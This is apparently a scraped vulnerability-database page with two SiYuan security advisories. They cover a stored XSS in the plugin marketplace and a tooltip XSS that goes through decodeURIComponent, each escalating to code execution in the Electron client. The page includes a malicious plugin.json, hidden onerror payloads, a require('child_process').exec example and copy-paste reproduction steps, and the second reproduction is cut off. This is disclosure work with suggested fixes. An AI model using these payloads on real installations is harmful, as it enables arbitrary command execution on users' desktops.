**1. Run a stock SiYuan v3.6.5 kernel:**
```sh
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
-v /tmp/siyuan-poc-ws:/siyuan/workspace \
-e SIYUAN_ACCESS_AUTH_CODE=test123 \
b3log/siyuan:v3.6.5 \
--workspace=/siyuan/workspace --accessAuthCode=test123
```
**2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:**
```json
{
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"displayName": {},
"description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
"author": "markdown-utils",
"version": "1.4.2",
"url": "https://github.com/markdown-utils/markdown-utilities",
"backends": ["all"],
"frontends": ["all"]
}
```
The visible portion of the `name` field is the literal string `Markdown Utilities`. The `<img>` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.
**3. Verify the kernel returns the unescaped payload:**
Authenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user:
```sh
curl -s -b 'siyuan=<session-cookie>' \
-X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
-H 'Content-Type: application/json' \
-d '{"frontend":"desktop","keyword":""}'
```
Observed (verbatim):
```json
{
"preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"version": "1.4.2"
}
```
The HTML payload arrives at the client unmodified.
**4. Trigger via the UI:**
In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `<img>` element, fails to load `src=x`, fires `onerror`, and **`alert("SiYuan Bazaar XSS")` pops**. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.
**5. Electron RCE substitution:**
The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:
```json
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"
```
On any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.
### | open | osv:GHSA-27qc-m5gf-jv5r |
| critical | any | \u2014 | SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585) ## Summary
The tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`"`, `'`, `<`, literal `<`) — it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `<` character (a real `<`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `<`, parses the `<img>` element, and the `onerror` handler fires.
Because the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require('child_process')` is reachable from the injected handler, escalating to arbitrary code execution.
Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into `class="ariaLabel"` elements with `aria-label="${escapeAriaLabel(...)}"`. Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.
## Why a "double HTML-decode" framing is wrong
A naïve reading of the chain might suggest that `&lt;` (the encoder output) decodes once at attribute-parse time to `<`, then a second time at `innerHTML` time to `<` — yielding a tag. **That's incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `<` resulting from a `<` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.
The actual bypass relies on `decodeURIComponent` producing a **literal** `<` (not a character reference) before `innerHTML` parses it. Literal `<` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.
## Details
**Encoder.** `app/src/util/escape.ts:19-25`:
```ts
export const escapeAriaLabel = (html: string) => {
if (!html) { return html; }
return html.replace(/"/g, """).replace(/'/g, "'")
.replace(/</g, "&lt;").replace(/</g, "&lt;");
};
```
The four replacements only cover HTML special chars. `%XX` URL escapes are not touched.
**Source — search-result rendering.** `app/src/search/util.ts:1406`:
```ts
<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>
```
Same pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim — `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.
**Consumer.** `app/src/block/popover.ts:33,144`:
```ts
let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars
```
`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.
**Sink.** `app/src/dialog/tooltip.ts:41`:
```ts
messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags
```
**Decode-chain trace** for in-memory title `%3Cimg src=x onerror="alert('SiYuan')"%3E` (URL-encoded `<` `>` `'`, literal `"`):
| step | result |
|------|--------|
| in-memory title | `%3Cimg src=x onerror="alert('SiYuan')"%3E` |
| `escapeAriaLabel` writes (only `"` and `'` get encoded — neither appears here as raw chars when `'` is `%27`) | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` |
| HTML attribute set: `aria-label="..."` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` |
| `getAttribute("aria-label")` | `%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E` (verbatim) |
| `decodeURIComponent(tip)` | **`<img src=x onerror="alert('SiYuan')">`** (real `<` `'` `>` chars) |
| `messageElement.innerHTML = …` | HTML parser tokenizes raw `<img>`, creates element, fails to load `src=x`, fires `onerror` → JS runs |
**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.
## Suggested fix
1. **Primary — `app/src/dialog/tooltip.ts:41`**: replace
```ts
messageElement.innerHTML = message;
```
with
```ts
messageElement.textContent = message;
```
For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.
2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.
3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `&`, `<`, `>`, `"`, `'`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.
4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
---
## Reproduction (copy-paste-ready)
Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.
### Prereqs
1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).
2. Verify the kernel is up:
```sh
curl -s http://127.0.0.1:6806/api/system/version
# → {"code":0,"msg":"","data":"3.6.5"}
```
3. Create at least one notebook (the file tree's "+" button) so `lsNotebooks` returns a usable id. Pin variables:
```sh
API=http://127.0.0.1:6806
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
```
### Step A — Browser-only validation of the chain (no SiYuan needed)
This proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:
```html
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
aria-lab | open | osv:GHSA-25rp-h46x-2hjm |
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/go/github.com/siyuan-note/siyuan/kernel